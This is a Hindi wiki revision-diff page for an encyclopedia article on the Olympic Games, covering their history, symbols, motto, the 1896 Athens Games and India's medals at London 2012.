"ओलम्पिक खेल" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
छो (Text replace - " कायम" to " क़ायम")
छो (Text replacement - "खाली " to "ख़ाली ")
 
(4 सदस्यों द्वारा किये गये बीच के 21 अवतरण नहीं दर्शाए गए)
पंक्ति 1: पंक्ति 1:
[[चित्र:Olympics.jpg|thumb|350px|ओलंपिक का प्रतीक चिह्न]]
+
{{ओलम्पिक खेल सूचना बक्सा}}
'''ओलम्पिक खेल''' अन्तर्राष्ट्रीय स्तर पर आयोजित होने वाली बहु-खेल प्रतियोगिता है। आधुनिक ओलम्पिक खेल एथेंस में सन 1896 में आरम्भ किये गये। इन खेलों में [[भारत]] स्वर्ण पदक भी जीत चुका है। ओलम्पिक खेल प्रत्येक चार वर्ष बाद विश्व के किसी प्रसिद्ध स्थान पर आयोजित किये जाते हैं। सन 2008 के ओलम्पिक खेल [[चीन]] के बीजिंग तथा सन 2012 के ओलंपिक खेल ब्रिटेन के लंदन में आयोजित किए गए।
+
'''ओलम्पिक खेल''' ([[अंग्रेज़ी]]:''Olympic Games'') अन्तर्राष्ट्रीय स्तर पर आयोजित होने वाली बहु-खेल प्रतियोगिता है। आधुनिक ओलम्पिक खेल एथेंस में सन 1896 में आरम्भ किये गये। इन खेलों में [[भारत]] स्वर्ण पदक भी जीत चुका है। वर्ष [[1896]] में पहली बार आधुनिक ओलम्पिक खेलों का आयोजन ग्रीस ([[यूनान]]) की राजधानी एथेंस में हुआ था। ओलम्पिक खेल प्रत्येक चार वर्ष बाद विश्व के किसी प्रसिद्ध स्थान पर आयोजित किये जाते हैं। सन 2008 के ओलम्पिक खेल [[चीन]] के बीजिंग तथा सन 2012 के ओलम्पिक खेल [[ब्रिटेन]] के लंदन में आयोजित किए गए।
==ओलंपिक का इतिहास==
+
==ओलम्पिक का इतिहास==
प्राचीन काल में शांति के समय योद्धाओं के बीच प्रतिस्पर्धा के साथ खेलों का विकास हुआ। दौड़, मुक्केबाजी, कुश्ती और रथों की दौड़ सैनिक प्रशिक्षण का हिस्सा हुआ करते थे। इनमें से सबसे बेहतर प्रदर्शन करने वाले योद्धा प्रतिस्पर्धी खेलों में अपना दमखम दिखाते थे। समाचार एजेंसी ‘आरआईए नोवोस्ती’ के अनुसार प्राचीन ओलंपिक खेलों का आयोजन 1200 साल पूर्व योद्धा-खिलाड़ियों के बीच हुआ था। हालांकि ओलंपिक का पहला आधिकारिक आयोजन 776 ईसा पूर्व में हुआ था, जबकि आखिरी बार इसका आयोजन 394 ईस्वी में हुआ। इसके बाद [[रोम]] के सम्राट थियोडोसिस ने इसे मूर्तिपूजा वाला उत्सव करार देकर इस पर प्रतिबंध लगा दिया गया। इसके बाद लगभग डेढ़ सौ सालों तक इन खेलों को भुला दिया गया। हालांकि [[मध्यकाल]] में अभिजात्य वर्गों के बीच अलग-अलग तरह की प्रतिस्पर्धाएं होती रहीं। लेकिन इन्हें खेल आयोजन का दर्जा नहीं मिल सका। कुल मिलाकर रोम और ग्रीस जैसी प्रभुत्वादी सभ्यताओं के अभाव में इस काल में लोगों के पास खेलों के लिए समय नहीं था। 19वीं शताब्दी में [[यूरोप]] में सर्वमान्य सभ्यता के विकास के साथ पुरातन काल की इस परंपरा को फिर से जिंदा किया गया। इसका श्रेय फ्रांस के अभिजात पुरुष बैरों पियरे डी कुवर्तेन को जाता है। कुवर्तेन ने दो लक्ष्य रखे, एक तो खेलों को अपने देश में लोकप्रिय बनाना और दूसरा, सभी देशों को एक शांतिपूर्ण प्रतिस्पर्धा के लिए एकत्रित करना। कुवर्तेन मानते थे कि खेल युद्धों को टालने के सबसे अच्छे माध्यम हो सकते हैं। कुवर्तेन की इस परिकल्पना के आधार पर [[वर्ष]] [[1896]] में पहली बार आधुनिक ओलंपिक खेलों का आयोजन ग्रीस ([[यूनान]]) की राजधानी एथेंस में हुआ। शुरुआती दशक में ओलंपिक आंदोलन अपने अस्तित्व को बचाने के लिए संघर्ष करता रहा क्योंकि कुवर्तेन की इस परिकल्पना को किसी भी बड़ी शक्ति का साथ नहीं मिल सका था। एक बार तो ऐसा लगा कि वित्तीय समस्याओं के कारण एथेंस से ये खेल निकलकर हंगरी की राजधानी बुडापेस्ट चले जाएंगे।
+
{{Main|ओलम्पिक का इतिहास}}
* वर्ष [[1900]] तथा [[1904]] में पेरिस तथा सेंट लुई में हुए ओलंपिक के दो संस्करण लोकप्रिय नहीं हो सके क्योंकि इस दौरान भव्य आयोजनों की कमी रही। लंदन में अपने चौथे संस्करण के साथ ओलंपिक आंदोलन शक्ति संपन्न हुआ। इसमें 2000 एथलीटों ने शिरकत की। यह संख्या पिछले तीन आयोजनों के योग से अधिक थी।
+
प्राचीन काल में शांति के समय योद्धाओं के बीच प्रतिस्पर्धा के साथ खेलों का विकास हुआ। दौड़, मुक्केबाजी, कुश्ती और रथों की दौड़ सैनिक प्रशिक्षण का हिस्सा हुआ करते थे। इनमें से सबसे बेहतर प्रदर्शन करने वाले योद्धा प्रतिस्पर्धी खेलों में अपना दमखम दिखाते थे। समाचार एजेंसी ‘आरआईए नोवोस्ती’ के अनुसार प्राचीन ओलम्पिक खेलों का आयोजन 1200 साल पूर्व योद्धा-खिलाड़ियों के बीच हुआ था। हालांकि ओलम्पिक का पहला आधिकारिक आयोजन 776 ईसा पूर्व में हुआ था, जबकि आखिरी बार इसका आयोजन 394 ईस्वी में हुआ। इसके बाद [[रोम]] के सम्राट थियोडोसिस ने इसे मूर्तिपूजा वाला उत्सव करार देकर इस पर प्रतिबंध लगा दिया गया। इसके बाद लगभग डेढ़ सौ सालों तक इन खेलों को भुला दिया गया। हालांकि [[मध्यकाल]] में अभिजात्य वर्गों के बीच अलग-अलग तरह की प्रतिस्पर्धाएं होती रहीं। लेकिन इन्हें खेल आयोजन का दर्जा नहीं मिल सका। कुल मिलाकर रोम और ग्रीस जैसी प्रभुत्वादी सभ्यताओं के अभाव में इस काल में लोगों के पास खेलों के लिए समय नहीं था। 19वीं शताब्दी में [[यूरोप]] में सर्वमान्य सभ्यता के विकास के साथ पुरातन काल की इस परंपरा को फिर से जिंदा किया गया। इसका श्रेय फ्रांस के अभिजात पुरुष बैरों पियरे डी कुवर्तेन को जाता है। कुवर्तेन ने दो लक्ष्य रखे, एक तो खेलों को अपने देश में लोकप्रिय बनाना और दूसरा, सभी देशों को एक शांतिपूर्ण प्रतिस्पर्धा के लिए एकत्रित करना। कुवर्तेन मानते थे कि खेल युद्धों को टालने के सबसे अच्छे माध्यम हो सकते हैं। कुवर्तेन की इस परिकल्पना के आधार पर [[वर्ष]] [[1896]] में पहली बार आधुनिक ओलम्पिक खेलों का आयोजन ग्रीस ([[यूनान]]) की राजधानी एथेंस में हुआ। शुरुआती दशक में ओलम्पिक आंदोलन अपने अस्तित्व को बचाने के लिए संघर्ष करता रहा क्योंकि कुवर्तेन की इस परिकल्पना को किसी भी बड़ी शक्ति का साथ नहीं मिल सका था।  
* [[1924]] का ओलंपिक पहले एम्सटर्डम में आयोजित होना था, लेकिन ओलंपिक समिति के अध्यक्ष पिया द कुबर्तां के प्रभाव के कारण ये खेल आखिरकार आयोजित हुए पेरिस में। कुबर्तां को उम्मीद थी कि इस बार पेरिस के ओलंपिक पूरी तरह सफल होंगे।
+
==प्रतीक ==
* वर्ष [[1930]] के बर्लिन संस्करण के साथ तो मानों ओलंपिक आंदोलन में नई जीवन शक्ति आ गई। सामाजिक और राजनैतिक स्तर पर जारी प्रतिस्पर्धा के कारण नाजियों ने इसे अपनी श्रेष्ठता साबित करने का माध्यम बना दिया।
+
====ओलम्पिक वलय====
* [[1950]] के दशक में सोवियत-अमेरिका प्रतिस्पर्धा के खेल के मैदान में आने के साथ ही ओलंपिक की ख्याति चरम पर पहुंच गई। इसके बाद तो खेल कभी भी राजनीति से अलग नहीं हुआ।
+
एक-दूसरे से जुड़े हुए 5 वलय (Rings) पांच [[महाद्वीप|महाद्वीपों]], [[उत्तरी अमेरिका]] तथा [[दक्षिणी अमेरिका]] को एक ही वलय (रिंग) में दर्शाया गया है, ओलम्पिक के प्रतीक हैं। यह खेलों के माध्यम से सभी महाद्वीपों  के लोगों को एकता के सूत्र में पिरोने का प्रतीक हैं। [[नीला रंग|नीले]], [[पीला रंग|पीले]], [[काला रंग|काले]], [[हरा रंग|हरे]] और [[लाल रंग]] के ये 5 वलय एक दूसरे में गुंथे हुए हैं। इसे आधुनिक ओलम्पिक के संस्थापक पियरे बारोन डे कुबेर्टिन ने बनाया था। ये पांच घेरे उत्साह, आस्था, विजय, काम की नैतिकता और खेल भावना को दिखाते हैं। पहली बार साल [[1920]] के एंटवर्प ओलम्पिक खेलों में इन्हें आधिकारिक तौर पर प्रयोग में लाया गया, लेकिन [[1936]] के ओलम्पिक खेलों में बड़े पैमाने पर इसका उपयोग होने से इसे ज्यादा लोकप्रियता मिलनी शुरू हुई।
* [[1960]] में जब यूरो कप शुरू हुआ तो उस समय इस प्रतियोगिता का नाम यूरोपीय नेशंस कप था। प्रतियोगिता के पीछे मुख्य हाथ था फ्रेंच फुटबॉल फेडरेशन के सचिव हेनरी डेलॉने का, मगर शुरू में राह कठिन थी। रोम ओलंपिक पहला ओलंपिक था जिसका दुनियाभर में व्यापक टेलीविजन प्रसारण हुआ। ओलंपिक स्टेडियम में हुए रंगारंग उद्घाटन समारोह को देखने के लिए क़रीब एक लाख लोग जुटे।
+
====ओलम्पिक ध्वज====
* खेल केवल राजनीति का विषय नहीं रहे। ये राजनीति का अहम हिस्सा बन गए। चूंकि सोवियत संघ और [[अमेरिका]] जैसी महाशक्तियां कभी नहीं खुले तौर पर एक दूसरे के साथ युद्ध के मैदान में भिड़ नहीं सकीं। लिहाज़ा उन्होंने ओलंपिक को अपनी श्रेष्ठता साबित करने का माध्यम बना लिया।
+
[[चित्र:Olympics-flag.jpg|thumb|ओलम्पिक ध्वज]]
* [[अमेरिका]] के पूर्व राष्ट्रपति जॉन एफ. केनेडी ने एक बार कहा था कि [[अंतरिक्ष यान]] और ओलंपिक स्वर्ण पदक ही किसी देश की प्रतिष्ठा का प्रतीक होते हैं।
+
प्रत्येक ओलम्पिक खेलों के समापन समारोह के दौरान मेजबान शहर की तरफ से अगले आयोजित शहर को ओलम्पिक ध्वज प्रदान किया जाता है। पहली बार [[1920]] के ग्रीष्मकालीन ओलम्पिक खेलों में बेल्जियम के शहर एंटवर्प की तरफ से अंतर्राष्ट्रीय ओलम्पिक संघ को ओलम्पिक ध्वज दिया गया। खेलों की समाप्ति पर ये ध्वज नहीं मिल सका और इसलिए [[1924]] के ओलम्पिक खेलों के लिए दोबारा ध्वज बनाया गया, लेकिन फिर भी इसे 'एंटवर्प ध्वज' कहा गया और उसके बाद से ये अगले आयोजित शहर को दिया जाने लगा। ओलम्पिक ध्वज में श्वेत पृष्ठभूमि पर 5 रंगीन छल्ले यानि ओलम्पिक वलय को दर्शाया जाता है और यह ध्वज खेल के सभी समारोहों में फहराया जाता है।  इस ध्वज में  
* शीत युद्ध के काल में अंतरिक्ष यान और स्वर्ण पदक महाशक्तियों का सबसे बड़ा उद्देश्य बनकर उभरे। बड़े खेल आयोजन इस शांति युद्ध का अंग बन गए और खेल के मैदान युद्धस्थलों में परिवर्तित हो गए।
+
# नीले रंग का वलय यूरोप को प्रदर्शित करता है।  
* सोवियत संघ ने वर्ष 1968 के मैक्सिको ओलंपिक में पदकों के होड़ में अमेरिका के हाथों मिली हार का बदला [[1972]] के म्यूनिख ओलंपिक में चुकाया। सोवियत संघ की 50वीं वर्षगांठ पर वहां के लोग किसी भी कीमत पर अमेरिका से हारना नहीं चाहते थे। इसी का नतीजा था कि सोवियत एथलीटों ने 50 स्वर्ण पदकों के साथ कुल 99 पदक जीते। यह संख्या अमेरिका द्वारा जीते गए पदकों से एक तिहाई ज्यादा थी।
+
# काले रंग का वलय अफ़्रीका को प्रदर्शित करता है। 
* साल 1980 में अमेरिका और उसके पश्चिम के मित्र राष्ट्रों ने [[1980]] के मॉस्को ओलंपिक में शिरकत करने से इनकार कर दिया। इसके बाद हिसाब चुकाने के लिए सोवियत संघ ने 1984 के लॉस एंजलिस ओलंपिक का बहिष्कार कर दिया।
+
# लाल रंग का वलय अमेरिका को प्रदर्शित करता है
* साल [[1988]] के सियोल ओलंपिक में सोवियत संघ ने एक बार फिर अपनी श्रेष्ठता साबित की। उसने 132 पदक जीते। इसमें 55 स्वर्ण थे। अमेरिका को 34 स्वर्ण सहित 94 पदक मिले थे। अमेरिका पूर्वी जर्मनी के बाद तीसरे स्थान पर रहा।
+
# पीले रंग का वलय एशिया को प्रदर्शित करता है
* वर्ष [[1992]] के बार्सिलोना ओलंपिक में भी सोवियत संघ ने अपना वर्चस्व क़ायम रखा। हालांकि उस वक्त तक सोवियत संघ का विघटन हो चुका था। एक संयुक्त टीम ने ओलंपिक में हिस्सा लिया था। इसके बावजूद उसने 112 पदक जीते। इसमें 45 स्वर्ण थे। अमेरिका को 37 स्वर्ण के साथ 108 पदक मिले थे।
+
# हरे रंग का वलय ऑस्ट्रेलिया को प्रदर्शित करता है
* साल 1996 के अटलांटा और 2000 के सिडनी ओलंपिक में [[रूस]] (सोवियत संघ के विभाजन के बाद का नाम) गैर अधिकारिक अंक तालिका में दूसरे स्थान पर रहा। 2004 के एथेंस ओलंपिक में उसे तीसरा स्थान मिला।
+
====ओलम्पिक मशाल====
* 1992 का बार्सिलोना ओलंपिक एक यादगार ओलंपिक साबित हुआ, एक भी देश ने इसका बहिष्कार नहीं किया। दक्षिण अफ्रीका ने ओलंपिक में हिस्सा लिया जबकि एकीकृत देश के रूप में जर्मनी शामिल हुआ।
+
ओलम्पिक ज्वाला या मशाल ओलम्पिक खेलों का एक प्रतीक है। बहुत समय पहले ओलम्पिया, ग्रीस में प्राचीन ओलम्पिक के आयोजन के समय खेलों के सफलतापूर्वक समापन के लिए [[अग्नि देवता]] की प्रार्थना की गई थी तथा एक मशाल भी जलाई गई थी। यह परंपरा आज भी जारी है। हर बार के खेलों के लिए नई मशाल बनायी जाती है। ओलम्पिक खेलों की प्रतीक मशाल की लौ पवित्र मानी जाती है, क्योंकि [[सूर्य]] की किरणों को लेंस से गुजारकर अग्नि प्रज्जवलित होती है, जो मशाल को रोशन करती है। इसे फिर [[कलश]] में रखा जाता है और फिर इसे उस स्टेडियम में ले जाया जाता है जहां पहली बार ओलम्पिक खेल हुए थे। यह मशाल ओलम्पिक खेलों के आगाज से पहले अपनी यात्रा खत्म कर मेजबान शहर में पहुंचती है। आधुनिक ओलम्पिक की बात करें तो [[1936]] के बर्लिन ओलम्पिक में पहली बार मशाल यात्रा शुरू हुई। [[1952]] के ओस्लो ओलम्पिक में मशाल ने पहली बार हवाई मार्ग से यात्रा की। [[1956]] के स्कॉटहोम ओलम्पिक में घोड़े की पीठ पर शाल यात्रा सम्पन्न की गई। सन [[1960]] के रोम ओलम्पिक में पहली बार मशाल यात्रा का टेलीविजन प्रसारण हुआ। इस बार इसमें मीडिया ने भी दिलचस्पी दिखाई। [[1968]] के मैक्सिको ओलम्पिक में मशाल को [[समुद्र]] के रास्ते ले जाया गया। [[1976]] के मांट्रियल ओलम्पिक  में कनाडा ने एथेंस से ओटावा तक मशाल के सफर का सेटेलाइट प्रसारण किया। [[1994]] के लिलेहैमर शीतकालीन खेलों के दौरान पैराजंपरों ने पहली बार हवा में मशाल का आदान-प्रदान किया। 2000 के सिडनी ओलम्पिक में तो मशाल को ग्रेट बैरियर रीफ के पास समुद्र की गहराइयों में उतारा गया।
* एथेंस 2004 में एक बार फिर ग्रीस में ओलंपिक खेल आयोजित किए गए। पहली बार रिकॉर्ड 201 देशों ने इस ओलंपिक में हिस्सा लिया। एथेंस ओलंपिक में पूरी 301 प्रतियोगिताएं हुईं।
+
====ओलम्पिक शुभंकर====
* सिडनी 2000 ओलंपिक को अब तक के सभी ओलंपिक खेलों में सबसे सफल माना जाता है। उद्घाटन समारोह में ऑस्ट्रेलिया की कैथी फ्रीमैन छाई रहीं। बाद में कैथी ने 400 मीटर में स्वर्ण, 4 गुणा 400 मीटर रिले में रजत और 200 मीटर में कांस्य पदक हासिल किया।
+
[[चित्र:Olympic-mascots-Mandeville.jpg|thumb|ओलम्पिक शुभंकर 'मांडेविल्ले']]
* अटलांटा 1996 ओलंपिक खेलों में चरमपंथी हमले की छाया रही। सेंटेनियल पार्क में हुए बम धमाके में दो लोग मारे गए और क़रीब 100 लोग जख्मी हुए। लेकिन इस हादसे के बावजूद अटलांटा ओलंपिक को सफल आयोजन माना गया।
+
शुभंकर का अर्थ होता है कल्याणकारी। शुभंकर खेलों के प्रतिनिधि होते हैं और प्रतियोगियों और दर्शकों में उत्साह लाते हैं। इंसान या जानवर की आकृति वाला यह शुभंकर मेजबान देश की सांस्कृतिक धरोहर को दर्शाता है। ओलम्पिक खेलों का पहला शुभंकर [[1968]] के ओलम्पिक के दौरान आया, हालांकि ये अनाधिकारिक था। आधिकारिक रूप से ओलम्पिक खेलों का पहला शुभंकर [[1972]] के खेलों में शामिल हुआ। [[लंदन]] में [[2012]] में होने वाले ओलम्पिक खेलों का शुभंकर 'वेनलॉक’ और पैरालंपिक खेलों का ‘मांडेविल्ले' को चुना गया। इस शुभंकर को बोल्टोन के एक कारखाने में इस्पात की दो बूंदों से बनाया गया है। इसमें एक ही [[आंख]] है, जो कैमरे के लैंस की जैसी दिखती है। वेनलॉक नाम, वेनलॉक शहर के नाम पर रखा गया, जहां 19 वीं शताब्दी में वेनलॉक खेलों का आयोजन किया गया था। आधुनिक ओलम्पिक खेलों के लिए यह आयोजन एक बड़ा प्रेरणास्रोत बना था। जबकि मांडेविल्ले नाम बकिंघमशायर के स्टॉक मांडेविल्ले के नाम पर रखा गया है, जहां पहले पैरालंपिक खेल हुए थे। वेनलॉक के सबसे ऊपर एक हेड लाईट लगी है जो लंदन की काली टैक्सियों की लाइट्स से प्रेरित है। इसके चेहरे का आकार ओलम्पिक स्टेडियम की छत का है, जबकि इसके सिर का आकार ओलम्पिक खेलों में जीते जाने वाले 3 मेडल्स को दिखाता है। कैमरे के लेंस की तरह दिखती इसकी एक आँख दिखाई देने वाली सभी चीजों को कैप्चर करने के लिए है। इसके दोनों हाथों में ओलम्पिक रिंग्स ब्रेसलेट की तरह बंधे हैं। जबकि इसके शरीर पर ओलम्पिक का लोगो (प्रतीक) छपा है। वेनलॉक की तरह ही मांडेविल्ले के सबसे ऊपर लंदन की काली टैक्सियों की लाइट्स से प्रेरित एक हेड लाईट और दिखाई देने वाली सभी चीजों को कैप्चर करने के लिए कैमरे के लेंस की तरह दिखती एक आँख है। हेलमेट की तरह के इसके सिर में पैरालंपिक खेलों के तीन रंग दिखाई देते हैं। इसके हाथ में गुलाबी रंग की घड़ी भी है।
* बीजिंग ओलंपिक 2008 को अब तक का सबसे अच्छा आयोजन माना जा गया है। 90 हज़ार से ज्यादा दर्शकों की क्षमता वाले बर्ड्स स्टेडियम में एक बार चीन के कलाकार बेहतरीन लोक कार्यक्रम पेश किया। उद्घाटन समारोह की तरह समापन समारोह भी चकाचौंध कर देने वाली रोशनी के बीच संपन्न हुआ। 15 दिन तक चले ओलंपिक खेलों के दौरान चीन ने ना सिर्फ़ अपनी शानदार मेज़बानी से लोगों का दिल जीता बल्कि सबसे ज़्यादा स्वर्ण पदक जीत कर भी इतिहास रचा।
+
[[चित्र:Olympic-mascots-Wenlock.jpg|thumb|left|ओलम्पिक शुभंकर 'वेनलॉक']]
* पहली बार पदक तालिका में चीन सबसे ऊपर रहा। जबकि अमरीका को दूसरे स्थान से ही संतोष करना पड़ा। भारत ने भी ओलंपिक के इतिहास में व्यक्तिगत स्पर्धाओं में पहली बार कोई स्वर्ण पदक जीता और उसे पहली बार एक साथ तीन पदक भी मिले।<ref>{{cite web |url=http://aajtak.intoday.in/story.php/content/view/67022/74/322/history-of-olympic-games-.html |title=1896 से अबतकः ओलंपिक खेलों का इतिहास |accessmonthday= |accessyear=2012 |last= |first= |authorlink= |format=एच.टी.एम.एल |publisher=आज तक |language=हिन्दी }}</ref>
+
==आदर्श वाक्य==
 +
आदर्श वाक्य, जीवन का बहुत गूढ़ दर्शन प्रस्तुत करता है। जीवन की आचार संहिता का पालन करने के लिए प्रेरित करने वाला एक कथन है आदर्श वाक्य। ओलम्पिक्स आदर्श वाक्य तीन लैटिन शब्दों से बना है, जो हैं- सिटिअस-अल्टिअस-फॉरटिअस (Citius- Altius- Fortius)। इन शब्दों का अर्थ है- तेज़-उच्चतर-मजबूत। ये तीन शब्द खिलाड़ियों में उत्साह भरते हैं। खेल प्रतिभागी अपना सबसे अच्छा प्रदर्शन करने के लिए प्रेरित होते हैं। इसे अच्छी तरह समझने के लिए हम ओलम्पिक के सिद्धांत से इसकी तुलना कर सकते हैं। जीवन में सबसे महत्वपूर्ण बात जीतना नहीं, बल्कि लड़ना है, ज़रूरी यह नहीं की आप जीते हैं, ज़रूरी ये है कि आप अच्छी तरह खेले। ओलम्पिक वाक्य और सिद्धांत एक साथ इस तरफ़ इशारा करते हैं कि कुबेर्टिन ने जीवन जीने के महत्वपूर्ण सबक पर विश्वास किया और उसे आगे बढ़ाया।<ref>{{cite web |url=http://sports.raftaar.in/Sports-News/Olympics/Symbols |title=ओलम्पिक प्रतीक |accessmonthday=18 अगस्त |accessyear=2013 |last= |first= |authorlink= |format= |publisher=रफ़्तार डॉट इन |language=हिंदी }}</ref>
 +
==ओलम्पिक आयोजन==
 +
{{Main|ओलम्पिक आयोजन}}
 +
;एथेंस (1896)
 +
पहले आधुनिक ओलम्पिक खेल [[यूनान]] की राजधानी एथेंस में [[1896]] में आयोजित किए गए। एक बार तो ऐसा लगा कि वित्तीय समस्याओं के कारण एथेंस से ये [[खेल]] निकलकर [[हंगरी]] की राजधानी बुडापेस्ट चले जाएँगे। पहले यह तय हुआ था कि पहले आधुनिक ओलम्पिक खेल [[1900]] में पेरिस में आयोजित होंगे, लेकिन चार साल पहले ही ओलम्पिक खेलों के आयोजन के लिए एथेंस को चुना गया, हालाँकि खेल शुरू होने से पहले ही यूनान गंभीर वित्तीय संकट में फँस गया था। उस साल हंगरी अपनी हज़ारवीं सालगिरह मनाने की तैयारी रहा था और उसने यूनान की जगह अपने यहाँ ओलम्पिक आयोजित कराने की पेशकश की। लेकिन ऐसा हुआ नहीं, यूनान के राजकुमार ने ओलम्पिक आयोजन समिति का गठन किया और उसके बाद समिति को बड़ी मात्रा में सहायता राशि मिली। पहले आधुनिक ओलम्पिक खेलों में सिर्फ़ 14 देशों के 200 लोगों ने 43 मुक़ाबलों में हिस्सा लिया। ज़्यादातर मुक़ाबलों में मेजबान देश के खिलाड़ियों ने हिस्सा लिया। प्रमुख मुक़ाबलों में शामिल थे- टेनिस, ट्रैक एंड फ़ील्ड, भारोत्तोलन, साइकिलिंग, [[कुश्ती]], तीरंदाज़ी, तैराकी और जिम्नास्टिक. [[क्रिकेट]] और [[फ़ुटबॉल]] प्रतियोगिताएँ इसलिए रद्द कर दीं गईं, क्योंकि इन मुक़ाबलों में हिस्सा लेने वाली टीमों की कमी थी। मुक़ाबले में जीतने वालों को सिल्वर मेडल, एक प्रमाणपत्र और ओलिव के पत्ते दिए जाते थे। दूसरे नंबर पर आने वाले खिलाड़ियों को काँस्य पदक दिए जाते थे, जबकि तीसरे नंबर पर आने वाले खिलाड़ियों को ख़ाली हाथ लौटना पड़ता था। पहले ओलम्पिक पदक विजेता बनें [[अमरीका]] के जेम्स ब्रेंडन कोनोली। उन्होंने ट्रिपल जंप में 13.71 मीटर छलांग लगाकर जीत हासिल की थी। [[यूनानी]] लोगों के ज़बरदस्त उत्साह के कारण पहले आधुनिक ओलम्पिक खेलों को काफ़ी सफल आयोजन माना गया।<ref>{{cite web |url=http://www.bbc.com/hindi/sport/2012/01/120117_olympics_history_pp.shtml |title=ओलम्पिक का इतिहास |accessmonthday=06 अगस्त |accessyear=2016 |last= |first= |authorlink= |format= |publisher=bbc.com |language= हिंदी}}</ref>
  
===1896 - 1936 ओलंपिक===
 
पहले आधुनिक ओलंपिक खेल यूनान की राजधानी एथेंस में 1896 में आयोजित किए गए। लेकिन उसके बाद भी सालों तक ओलंपिक आंदोलन का स्वरूप नहीं ले पाया। तमाम सुविधाओं की कमी, आयोजन की मेजबानी की समस्या और खिलाड़ियों की कम भागीदारी-इन सभी समस्याओं के बावजूद धीरे-धीरे ओलंपिक अपने मक़सद में कामयाब होता गया। एथेंस ओलंपिक खेलों में सिर्फ़ 14 देशों के 200 लोगों ने 43 मुक़ाबलों में हिस्सा लिया। 1896 के बाद पेरिस को ओलंपिक की मेजबानी का इंतज़ार नहीं करना पड़ा और उसे 1900 में मौक़ा मिल ही गया। पेरिस में महिला खिलाड़ियों की संख्या सिर्फ़ 20 थी। पेरिस में ओलंपिक आयोजित तो हुए लेकिन वहाँ एथेंस जैसा उत्साह देखने को नहीं मिला। 1904 के सेंट लुई ओलंपिक के बाद अमरीकी खिलाड़ियों का दबदबा ट्रैक एंड फ़ील्ड मुक़ाबलों में बढ़ता गया। शुरुआत में तो ट्रैक एंड फ़ील्ड मुक़ाबलों में सिर्फ़ अमरीकी खिलाड़ी ही भाग लेते थे। लंदन में पहली बार ओलंपिक आयोजित हुए 1908 में. पहली बार खिलाड़ियों ने अपने देश के झंडे के साथ स्टेडियम में मार्च पास्ट किया। लेकिन इसी ओलंपिक में अमरीकी खिलाड़ियों ने जजों पर आरोप लगाया कि वे अपने देश का पक्ष ले रहे हैं। 1912 में स्टॉकहोम में ओलंपिक हुए और फिर विश्व युद्ध की छाया भी इन खेलों पर पड़ी. विश्व युद्ध के बाद एंटवर्प ओलंपिक 1920 में आयोजित हुआ। दूसरे विश्व युद्ध के पहले बर्लिन में 1936 में ओलंपिक आयोजित हुआ था। इस समय तक ओलंपिक में हिस्सेदारी बढ़ गई थी। सम्मान बढ़ गया था। लेकिन विश्व राजनीति का असर भी खेलों पर देखने को मिला। विरोध हुए और बँटी हुई दुनिया का असर खेल के मैदान पर भी पड़ा।
 
 
===1948 - 2004 ओलंपिक===
 
दूसरे विश्व युद्ध के बाद 1948 में ओलंपिक के आयोजन की ज़िम्मेदारी मिली [[लंदन]] को। युद्ध के ज़ख़्म भरे नहीं थे। आगे आने वाले कई ओलंपिक खेलों में बहिष्कार और विरोध का अपना ही अंदाज़ देखने को मिला। कई बार किसी ख़ास देशों को न्यौता नहीं मिला तो कई बार देशों ने ओलंपिक का ही बहिष्कार किया। भले ही विश्व युद्ध ख़त्म हो गया था। लेकिन दुनिया बँटी हुई थी। शीत युद्ध चल रहा था। दुनिया दो ख़ेमे में बँटी हुई थी। ओलंपिक भी कभी-कभी राजनीति की बिसात पर एक मोहरा साबित हुआ। 1972 के म्यूनिख ओलंपिक में तो चरमपंथी हमले और इसराइली खिलाड़ियों की हत्या से सनसनी फ़ैल गई। तो दूसरी ओर तमाम विवादों के बावजूद ओलंपिक खेलों का आयोजन होता रहा। खिलाड़ी मैदान पर अपनी प्रतिभा का जादू दिखाने को बेताब दिखे और ओलंपिक पदक लेने की होड़ सी लग गई। दुनिया ने ओलंपिक खेलों में कई महान खिलाड़ियों का प्रदर्शन देखा तो कई महान खिलाड़ियों की विदाई भी दी। इस बीच प्रदर्शन के लिए खिलाड़ियों के ड्रग्स लेने का मामला भी सामने आया और रातों-रात स्टार बने बेन जॉनसन को अपना पदक गँवाना पड़ा। खेल की दुनिया के लिए यह बड़ा झटका था। लेकिन ओलंपिक आयोजन समिति ने अपनी ओर से इससे निपटने की कोशिश की।
 
 
==समाचार==
 
[[चित्र:Sushil-Kumar.jpg|thumb|200px|[[सुशील कुमार पहलवान|सुशील कुमार]]]]
 
; 12 अगस्त, 2012 रविवार
 
====लंदन ओलम्पिक 2012 में भारत को 6 पदक====
 
[[ओलम्पिक 2012|लंदन ओलम्पिक 2012]] में भारत ने कुल 6 पदक जीते जिसमें 2 रजत और 4 कांस्य शामिल हैं। [[भारत]] इस प्रतियोगिता में 55वें नम्बर पर रहा। पदक तालिका में अमेरिका शीर्ष पर रहा जिसने 104 पदक जीते। इनमें 46 स्वर्ण, 29 रजत और 29 कांस्य शामिल हैं। चीन 87 (स्वर्ण-38, रजत-27, कांस्य-22) पदक लेकर दूसरे और ब्रिटेन 65 (स्वर्ण-29, रजत-17, कांस्य-19) पदक के साथ तीसरे स्थान पर रहा। भारत ने छह पदक जीते जो पदकों की संख्या के हिसाब से अब तक का उसका सर्वश्रेष्ठ प्रदर्शन है। [[सुशील कुमार पहलवान|सुशील कुमार]] (कुश्ती) और विजय कुमार (निशानेबाजी) को रजत पदक मिले जबकि [[मैरीकॉम|एम. सी. मैरीकॉम]] (मुक्केबाजी), गगन नारंग (निशानेबाजी), [[साइना नेहवाल]] ([[बैडमिंटन]]) और योगेश्वर दत्त (कुश्ती) को कांस्य पदक मिले। सुशील कुमार ने ओलम्पिक 2008 में भी कांस्य पदक जीता था। इस प्रकार सुशील कुमार ओलम्पिक में दो पदक जीतने वाले पहले भारतीय बने।
 
 
====समाचार को विभिन्न स्रोतों पर पढ़ें====
 
*[http://aajtak.intoday.in/story.php/content/view/705276/London-Olympics-close-with-tuneful-party%E2%80%8E.html आज तक ]
 
*[http://www.jagran.com/olympics2012/international-stars-olympics-2012-steve-ovett-column-for-london-olympics-9562963.html जागरण डॉट कॉम]
 
*[http://www.bbc.co.uk/hindi/sport/2012/08/120812_sports_india_analysis_sm.shtml बी.बी.सी. हिन्दी]
 
 
==पैरालम्पिक खेलों में भारत को पहला पदक==
 
[[चित्र:Girish-hasanagara.jpg|thumb|[[गिरीश होसंगारा नागराजेगौड़ा]]]]
 
; 4 सितम्बर, 2012 मंगलवार
 
